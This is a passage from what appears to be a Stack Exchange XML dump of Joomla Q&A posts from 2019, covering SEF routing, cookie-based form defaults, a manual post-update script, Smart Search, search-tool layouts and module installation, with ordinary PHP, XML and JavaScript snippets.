$_POST['form']['employment']);&#xA;@$inputCookie-&amp;gt;set('rsformdataage', $_POST['form']['age']);&#xA;@$inputCookie-&amp;gt;set('rsformdatabdayd', $_POST['form']['bday']['d']);&#xA;@$inputCookie-&amp;gt;set('rsformdatabdaym', $_POST['form']['bday']['m']);&#xA;@$inputCookie-&amp;gt;set('rsformdatabdayy', $_POST['form']['bday']['y']);&#xA;@$inputCookie-&amp;gt;set('rsformdatasuscribe', $_POST['form']['suscribe']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Textbox &quot;name&quot; Default Value:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&amp;lt;code&amp;gt;&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$value = $inputCookie-&amp;gt;get('rsformdata', '', 'array');&#xA;&#xA;if(isset($value['name'])){&#xA;       return $value['name'];&#xA;}else{&#xA;       return '';&#xA;}&#xA;&#xA;//&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dropdown &quot;country&quot; Default value:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&amp;lt;code&amp;gt;&#xA;$options = array('|País de residencia:',&#xA;'ES|España',&#xA;'MX|México',&#xA;'YE|Yemen',&#xA;'DJ|Yibuti',&#xA;'ZM|Zambia',&#xA;'ZW|Zimbabue');&#xA;&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$value = $inputCookie-&amp;gt;get('rsformdatacountry', '', 'array');&#xA;&#xA;$items = &quot;&quot;; &#xA;foreach ($options as $options_item) {&#xA; $items .= $options_item;&#xA; $active = explode('|', $options_item);&#xA; if (@in_array($active[0], $value)) {&#xA;  $items .= &quot;[c]\n&quot;;&#xA; } else {&#xA;  $items .= &quot;\n&quot;;&#xA; }&#xA;}&#xA;&#xA;return trim($items);&#xA;&#xA;//&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12359" LastActivityDate="2019-09-12T07:48:18.547" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26165" PostTypeId="1" CreationDate="2019-09-12T13:51:15.230" Score="1" ViewCount="134" Body="&lt;p&gt;I've set up my component which has one view and several layouts. For each layout I've added a &lt;code&gt;views/myview/tmpl/layoutname.xml&lt;/code&gt; file which sets the layout via a hidden variable, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;        name=&quot;layout&quot;&#xA;        type=&quot;hidden&quot;&#xA;        default=&quot;mylayout&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm then able to create a menu item using this component as a menu item type. It has a link in the format &lt;code&gt;index.php?option=com_mycomponent&amp;amp;view=myview&amp;amp;layout=mylayout&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to reach the layout via the SEF menu item alias. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use JRoute to get the SEF URL based on the link, but when I try &lt;code&gt;JRoute::_('index.php?option=com_mycomponent&amp;amp;view=myview&amp;amp;layout=mylayout')&lt;/code&gt;, it just gives me the same link back and not the SEF URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm wanting to do possible and if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;The solution was to add a router to my component based on the new Joomla\CMS\Component\Router\RouterBase class. I've got it working, but I'm not sure how I've got it working. When I'm able to delve into this, I'll write up a detailed solution as the answer.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastEditorUserId="9281" LastEditDate="2019-09-13T09:54:04.523" LastActivityDate="2019-09-13T09:54:04.523" Title="How to get SEF URL from JRoute when layout set in menu item" Tags="|component|layout|jroute|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26166" PostTypeId="1" CreationDate="2019-09-13T06:59:10.990" Score="1" ViewCount="32" Body="&lt;p&gt;I am using free version of JoomSEF extension. When I visit any page, JoomSEF extension is not creating according SEF URL entry in the backend. It looks something minor but I am clueless for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually run URL like &lt;a href=&quot;http://mywebsite.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1098&amp;amp;Itemid=105&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mywebsite.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1098&amp;amp;Itemid=105&lt;/a&gt; then it creates SEF URL in the backend but this is not feasible for me. The extension should create entry when I visit any page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run URL &lt;a href=&quot;http://%20http://mywebsite.com%20/news/gathering-in-glasgow-in-conflict-and-faith&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mywebsite.com /news/gathering-in-glasgow-in-conflict-and-faith&lt;/a&gt; it gives me an error like &lt;strong&gt;&quot;404- Article not found&quot;&lt;/strong&gt;. I also  reinstalled the extension several times but it didn't work either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working nicely before the latest Joomla version and JoomSEF upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative solution is also fine to me. I just need site running. That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to resolve this issue. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla: Joomla! 3.9.8 Stable &#xA;JoomSEF: 4.7.6&#xA;PHP Version: 5.6.40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13765" LastActivityDate="2019-09-13T06:59:10.990" Title="JoomSEF extension not create SEF URL on page visit" Tags="|joomla-3.x|sef|non-sef-url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26167" PostTypeId="1" CreationDate="2019-09-13T16:32:18.077" Score="1" ViewCount="177" Body="&lt;p&gt;I would like to be able to enter relative URLs (relative to the current page URL). I've tried the menu type &lt;strong&gt;URL&lt;/strong&gt; (nested within &lt;strong&gt;System Links&lt;/strong&gt;) but when I enter e.g. &lt;em&gt;first&lt;/em&gt; it becomes &lt;em&gt;/first&lt;/em&gt; and when I enter &lt;em&gt;./first&lt;/em&gt; it yields the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I've overlooked some functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give some context and the workaround I've been using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one main menu which resides at &lt;em&gt;/&lt;/em&gt; (Joomla installation root, frontend part).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also have a menu with 'special' links (navigational links) which appears at a template position only available when displaying a certain component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when displaying the other menu, the navigational menu, instead of the main menu, the URL changes to refer to the thing the component needs to display (e.g. &lt;em&gt;/custom-component-prefix/my-very-special-item&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like then to have a few relative URL's, so I can then route these relative links (via a HTTP redirect) to display proper follow-up items (and previous items, etc.): e.g. links resulting in: &lt;em&gt;/custom-component-prefix/my-very-special-item/previous&lt;/em&gt; (which redirects to previous item) (or &lt;em&gt;/custom-component-prefix/my-very-special-item/next&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have this workaround: I use placeholders within the navigational menus which I replace with the proper URLs (by means of an override of &lt;code&gt;mod_menu&lt;/code&gt; within my template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I would prefer to &lt;em&gt;directly&lt;/em&gt; use relative URLs (relative to currently displayed item) which then redirect to proper URL (previous item / next item).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I could also integrate a custom menu within the component. But then I would have to copy some functionality of the Joomla menu system to that component (Joomla menu system has great support for ordering menu items, changing images and text for menus; so I was thinking about the DRY principle).&lt;/p&gt;&#xA;" OwnerUserId="11529" LastEditorUserId="11529" LastEditDate="2019-09-19T05:44:58.920" LastActivityDate="2019-09-19T05:44:58.920" Title="How to enter relative (to current page) URL as a menu item?" Tags="|joomla-3.x|menu-item|menu|url|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26169" PostTypeId="2" ParentId="24370" CreationDate="2019-09-15T03:52:55.267" Score="0" Body="&lt;p&gt;Joomla! converts dates to UTC for database storage.  When pulling from the db for display, use the JHtml::('date',...) function or use the timezone method of the JDate object to convert back to your configured timezone and format date output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('date', $item-&amp;gt;created, 'Y-m-d G:i:s A');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$tz = new DateTimeZone( $config-&amp;gt;get('offset') ); // Joomla!'s configured tz&#xA;$date = new JDate( $item-&amp;gt;created, 'UTC' );&#xA;$date-&amp;gt;setTimezone($tz); // apply offset&#xA;echo $date-&amp;gt;format('Y-m-d G:i:s A', true); // true for local time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13769" LastActivityDate="2019-09-15T03:52:55.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26170" PostTypeId="2" ParentId="22891" CreationDate="2019-09-15T11:02:27.847" Score="4" Body="&lt;p&gt;Michael Babker has provided a Post-Manual Update Script at &lt;a href=&quot;https://gist.github.com/mbabker/d7bfb4e1e2fbc6b7815a733607f89281&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/mbabker/d7bfb4e1e2fbc6b7815a733607f89281&lt;/a&gt; which runs the steps normally performed after the filesystem updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script is designed to be run after you have manually extracted the update package over your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, you should run a backup of your website before attempting any major update like this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the current copy of the code, but as the linked page may be updated in future, be sure to check that you are using the latest version.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;postupdate.php&lt;/strong&gt; file as of 15 Sep 2019:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Administrator&#xA; *&#xA; * @copyright  Copyright (C) 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;/**&#xA; * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.&#xA; */&#xA;define('JOOMLA_MINIMUM_PHP', '5.3.10');&#xA;if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;lt;'))&#xA;{&#xA;    die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');&#xA;}&#xA;/**&#xA; * Constant that is checked in included files to prevent direct access.&#xA; * define() is used in the installation folder rather than &quot;const&quot; to not error for PHP 5.2 and lower&#xA; */&#xA;define('_JEXEC', 1);&#xA;// Load the administrator application's path constants&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;require_once JPATH_BASE . '/includes/helper.php';&#xA;// Account for moved JToolbarHelper class in 3.9&#xA;if (file_exists(JPATH_BASE . '/includes/toolbar.php'))&#xA;{&#xA;    require_once JPATH_BASE . '/includes/toolbar.php';&#xA;}&#xA;else&#xA;{&#xA;    require_once JPATH_BASE . '/includes/subtoolbar.php';&#xA;}&#xA;// Boot JApplicationAdministrator so the application references in the factory resolve correctly.&#xA;JFactory::getApplication('administrator');&#xA;// Set the component path (un)constants&#xA;define('JPATH_COMPONENT', JPATH_ADMINISTRATOR . '/components/com_joomlaupdate');&#xA;define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/com_joomlaupdate');&#xA;define('JPATH_COMPONENT_SITE', JPATH_SITE . '/components/com_joomlaupdate');&#xA;// Load the update component's model to run the cleanup methods&#xA;JModelLegacy::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/models', 'JoomlaupdateModel');&#xA;/** @var JoomlaupdateModelDefault $model */&#xA;$model = JModelLegacy::getInstance('default', 'JoomlaupdateModel');&#xA;// Make sure we got the model&#xA;if (!($model instanceof JoomlaupdateModelDefault))&#xA;{&#xA;    echo 'Could not load update component model, please check the logs for additional details.' . PHP_EOL;&#xA;    exit(1);&#xA;}&#xA;// Load up the logger&#xA;JLog::addLogger(&#xA;    array(&#xA;        'format'    =&amp;gt; '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}',&#xA;        'text_file' =&amp;gt; 'joomla_update.php',&#xA;    ),&#xA;    JLog::INFO,&#xA;    array('Update', 'databasequery', 'jerror')&#xA;);&#xA;JLog::add('Starting manual update using postupdate', JLog::INFO, 'Update');&#xA;// Load the Joomla library and update component language files&#xA;JFactory::getLanguage()-&amp;gt;load('lib_joomla');&#xA;JFactory::getLanguage()-&amp;gt;load('com_joomlaupdate');&#xA;JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_FINALISE'), JLog::INFO, 'Update');&#xA;// Finalize the update&#xA;if ($model-&amp;gt;finaliseUpgrade() === false)&#xA;{&#xA;    echo 'Failed to finalize the upgrade, please check the logs for additional details.' . PHP_EOL;&#xA;    exit(1);&#xA;}&#xA;JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_CLEANUP'), JLog::INFO, 'Update');&#xA;// Cleanup after the update&#xA;$model-&amp;gt;cleanUp();&#xA;JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_COMPLETE', JVERSION), JLog::INFO, 'Update');&#xA;JLog::add('Finished manual update using postupdate', JLog::INFO, 'Update');&#xA;echo 'Update to ' . JVERSION . ' completed successfully.' . PHP_EOL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="12352" LastEditDate="2019-09-15T12:43:48.457" LastActivityDate="2019-09-15T12:43:48.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26172" PostTypeId="1" CreationDate="2019-09-17T19:21:29.840" Score="2" ViewCount="42" Body="&lt;p&gt;I have an issue with tagged articles not being shown in smart search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a test article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title = &quot;This is a test article&quot;&#xA;Content = &quot;descriptiontest&quot;&#xA;Tag = &quot;taggedtest&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have then indexed new content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search by &quot;test&quot;, the article is shown in the Smart Search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search by &quot;descriptiontest&quot;, the article is shown in the Smart Search &#xA;results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search by &quot;taggedtest&quot;, the tag is shown in the Smart Search results, but I want the article to be shown in the Smart Search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get an article to be shown in the Smart Search results when searching by tag?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2019-09-17T19:21:29.840" Title="Tagged articles not being shown in Smart Search results" Tags="|articles|tags|smartsearch|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26173" PostTypeId="1" AcceptedAnswerId="26177" CreationDate="2019-09-17T22:28:45.640" Score="0" ViewCount="56" Body="&lt;p&gt;Recently, I add a field tag into the filter_workitems.xml, which looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;show_this_week&quot; type=&quot;CheckboxCustom&quot; label=&quot;sohw this week&quot; description=&quot;&quot; value=&quot;1&quot; class=&quot;&quot; onclick=&quot;&#xA;            var curr = new Date;&#xA;            var first = curr.getDate() - curr.getDay()+1;&#xA;            var last = first + 7;&#xA;&#xA;            var firstday = new Date(curr.setDate(first)).toISOString();&#xA;            var lastday = new Date(curr.setDate(last)).toISOString();&#xA;&#xA;            document.getElementById('filter_created_from').value = firstday.substring(0, 10);&#xA;            document.getElementById('filter_created_to').value = lastday.substring(0, 10);&#xA;            this.checked = false;&#xA;            this.form.submit();&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but found that the field attribute &quot;label&quot; not show as I expected, however &quot;description&quot; attribute show correctly. Wonder anyone know why and how to make label attribute show as it should do? Thanks for your tutoring~&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version is 3.8.12&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2019-10-18T08:01:50.243" Title="How to make field attribute label work" Tags="|joomla3.8|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26174" PostTypeId="2" ParentId="24362" CreationDate="2019-09-17T22:44:00.793" Score="3" Body="&lt;p&gt;I had this issue now a second time on another system and tried to fix it the same way.&#xA;I've recognized, that this could be fixed easier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup a new local Sytem of Joomla with the last running Joomla version (which was 3.9.3 in this case)&lt;/li&gt;&#xA;&lt;li&gt;Exported the database from the live system and imported it to my local Joomla&lt;/li&gt;&#xA;&lt;li&gt;Repaired all database failures with the Joomla autorepair function.&lt;/li&gt;&#xA;&lt;li&gt;Exported the database and imported it on the live system again (which was already 3.9.11).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2019-09-17T22:44:00.793" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26175" PostTypeId="1" CreationDate="2019-09-17T23:13:51.627" Score="1" ViewCount="72" Body="&lt;p&gt;We have a Joomla site (latest version) with a page that links to another system with a fixed username/pw, so like   &lt;a href=&quot;https://www.othersystem.com/login.php?un=[fixed_un]&amp;amp;pw=[fixed_pw]&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.othersystem.com/login.php?un=[fixed_un]&amp;amp;pw=[fixed_pw]&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need to change that link based on the Joomla user credentials with an email address. I.e.  &lt;a href=&quot;https://www.othersystem.com/preprocess.php?em=johndoe@hospital.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.othersystem.com/preprocess.php?em=johndoe@hospital.com&lt;/a&gt;. This preprocess page will only accept calls from the Joomla page - and, as the user is already logged in there -  will lookup the correct other-system credentials based on the email address and foprward the user to login.php with the found credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a Joomla no-Know. What I've found so far is that we need to add extensions like Sourcerer or add-custom-PHP to be able to write code in the link page. And maybe adding JDatabase to access the db, but once I'm in PHP I should be able to set up my own connection if needed. I'm sure Joomla will have a session variable which is the username. And that is exactly what I need to grab as it's the email I need to send out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&#xA;(1) will this approach work?&#xA;(2) is there a smarter way? I can hardly imagine you can't build a link based on variables in Joomla, but I'm too newbie to know and/or to find&#xA;(3) could you give me a nudge in the right direction on tackling this? I'm fluent in PHP and SQL and good enough in Javascript etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank's for any input, Bob&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="120" LastEditDate="2019-09-18T00:07:32.597" LastActivityDate="2024-01-25T10:05:30.710" Title="How to add userinfo to link in Joomla Page" Tags="|php|url|weblinks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26176" PostTypeId="2" ParentId="26175" CreationDate="2019-09-18T00:04:15.023" Score="0" Body="&lt;p&gt;You seem to be on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the free or paid version of Sourcerer, you can build the link with the email address of the currently logged in user as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;  $user = JFactory::getUser();&#xA;  echo &quot;&amp;lt;a href='http://www.othersystem.com/preprocess.php?em=&quot; . $user-&amp;gt;email . &quot;'&amp;gt;Login&amp;lt;/a&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is no currently logged in user, a blank email will be passed and the login will fail although you might want to display an error message or only make the link visible to users logged in to Joomla already.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-09-18T00:04:15.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26177" PostTypeId="2" ParentId="26173" CreationDate="2019-09-18T07:50:14.263" Score="1" Body="&lt;p&gt;Assuming you're using Joomla's default search tools layout, it does not render labels. You can create a custom layout or a layout override specific to your component. To accomplish the second option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy &lt;code&gt;layouts/joomla/searchtools/default/filters.php&lt;/code&gt; to &lt;code&gt;administrator/components/com_yourcomponent/layouts/joomla/searchtools/default/filters.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $dataShowOn = ''; ?&amp;gt;&#xA;&amp;lt;?php if ($field-&amp;gt;showon) : ?&amp;gt;&#xA;    &amp;lt;?php JHtml::_('jquery.framework'); ?&amp;gt;&#xA;    &amp;lt;?php JHtml::_('script', 'jui/cms.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true)); ?&amp;gt;&#xA;    &amp;lt;?php $dataShowOn = &quot; data-showon='&quot; . json_encode(JFormHelper::parseShowOnConditions($field-&amp;gt;showon, $field-&amp;gt;formControl, $field-&amp;gt;group)) . &quot;'&quot;; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;div class=&quot;js-stools-field-filter&quot;&amp;lt;?php echo $dataShowOn; ?&amp;gt;&amp;gt;&#xA;    &amp;lt;?php echo $field-&amp;gt;input ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With just this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;js-stools-field-filter&quot;&amp;gt;&#xA;    &amp;lt;?php echo $field-&amp;gt;renderField(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will render the entire field in a standard way.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-09-18T07:50:14.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26178" PostTypeId="1" CreationDate="2019-09-20T14:47:10.717" Score="0" ViewCount="483" Body="&lt;p&gt;I'm trying to install Joomla 3 on docker server using php 5.3.29 but I can't because :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Zlib Compression Support  no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Pre-Installation Check &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried every thing found on internet but still having that stack; my php.ini file is configured to support zlib&#xA;my php.ini file is set to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; http://php.net/zlib.output-compression&#xA;zlib.output_compression = On&#xA;&#xA;; http://php.net/zlib.output-compression-level&#xA;zlib.output_compression_level = -1&#xA;&#xA;; You cannot specify additional output handlers if zlib.output_compression&#xA;; is activated here. This setting does the same as output_handler but in&#xA;; a different order.&#xA;; http://php.net/zlib.output-handler&#xA;zlib.output_handler = &quot;&quot;&#xA;&#xA;; zlib so&#xA;extension=zlib.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still can't install joomla.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="126" LastEditDate="2019-09-23T07:31:07.430" LastActivityDate="2019-09-23T23:59:35.397" Title="I can't install Joomla because Zlib Compression Support no" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26179" PostTypeId="2" ParentId="9337" CreationDate="2019-09-20T15:20:12.927" Score="1" Body="&lt;p&gt;In the &lt;strong&gt;view&lt;/strong&gt; of your component.&#xA;&lt;strong&gt;components&lt;/strong&gt;-&gt;&lt;strong&gt;com_mycom&lt;/strong&gt;-&gt;&lt;strong&gt;view&lt;/strong&gt;-&gt;&lt;strong&gt;tmpl&lt;/strong&gt;-&gt;&lt;strong&gt;default.php&lt;/strong&gt; (&lt;em&gt;or&lt;/em&gt; edit.php, some.php) depending on your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_( 'index.php?option=com_student&amp;amp;view=student&amp;amp;layout=ifnotdefault&amp;amp;id='.$this-&amp;gt;item-&amp;gt;id ); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate&quot; id=&quot;adminForm&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('id'); ?&amp;gt; // !important&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('somefield'); ?&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;student.save&quot; /&amp;gt; // !important&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check 'form action',&#xA;Check 'field id',&#xA;Check 'task'&lt;/p&gt;&#xA;" OwnerUserId="13776" LastEditorUserId="13776" LastEditDate="2019-09-22T04:03:18.403" LastActivityDate="2019-09-22T04:03:18.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26180" PostTypeId="1" CreationDate="2019-09-20T17:36:49.890" Score="0" ViewCount="23" Body="&lt;p&gt;Can you help please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've build a simple module which displays two 'back to top of page' arrows, one bottom left and the other bottom right. It works well if inside an existing template module position or in the component area using {loadmodule mod_backtotop}.  However, I want to be able to automatically display the module as soon as it's installed, either without the need for a module position or maybe create a new module position upon installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense, I'm not sure if I've explained it well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully received.  Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @Lodder this is the code I used.  Hopefully this will help others.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (strtolower($type) === 'install') &#xA;    {       &#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('position') . ' = ' . $db-&amp;gt;quote('backtotop'),&#xA;            $db-&amp;gt;quoteName('showtitle') . ' = 0',&#xA;            $db-&amp;gt;quoteName('published') . ' = 1'&#xA;        );&#xA;&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('module') . ' = ' . $db-&amp;gt;quote('mod_backtotop')&#xA;        );&#xA;&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__modules'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;        $db-&amp;gt;setQuery($query);   &#xA;        $db-&amp;gt;execute();     &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13704" LastEditorUserId="13704" LastEditDate="2019-09-21T12:34:49.857" LastActivityDate="2019-09-21T12:34:49.857" Title="Automatically display/render module upon installation" Tags="|module-display|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26181" PostTypeId="1" AcceptedAnswerId="26184" CreationDate="2019-09-21T11:35:13.937" Score="2" ViewCount="95" Body="&lt;p&gt;I have a fairly straightforward front end List display with pagination and headings that can sort columns and navigate to a different page number and everything works as expected. The URL for the page is &lt;code&gt;mysite/stock-request&lt;/code&gt; and for any of the pagination or heading links the URL target is &lt;code&gt;mysite/stock-request#&lt;/code&gt; created by this JS being used under a heading link,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;Joomla.tableOrdering('a.Description','asc','');return false;&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I mention the JS as I did find a thread somewhere mentioning that if JS was involved things happen a bit differently but now that I am looking for it I can find it. 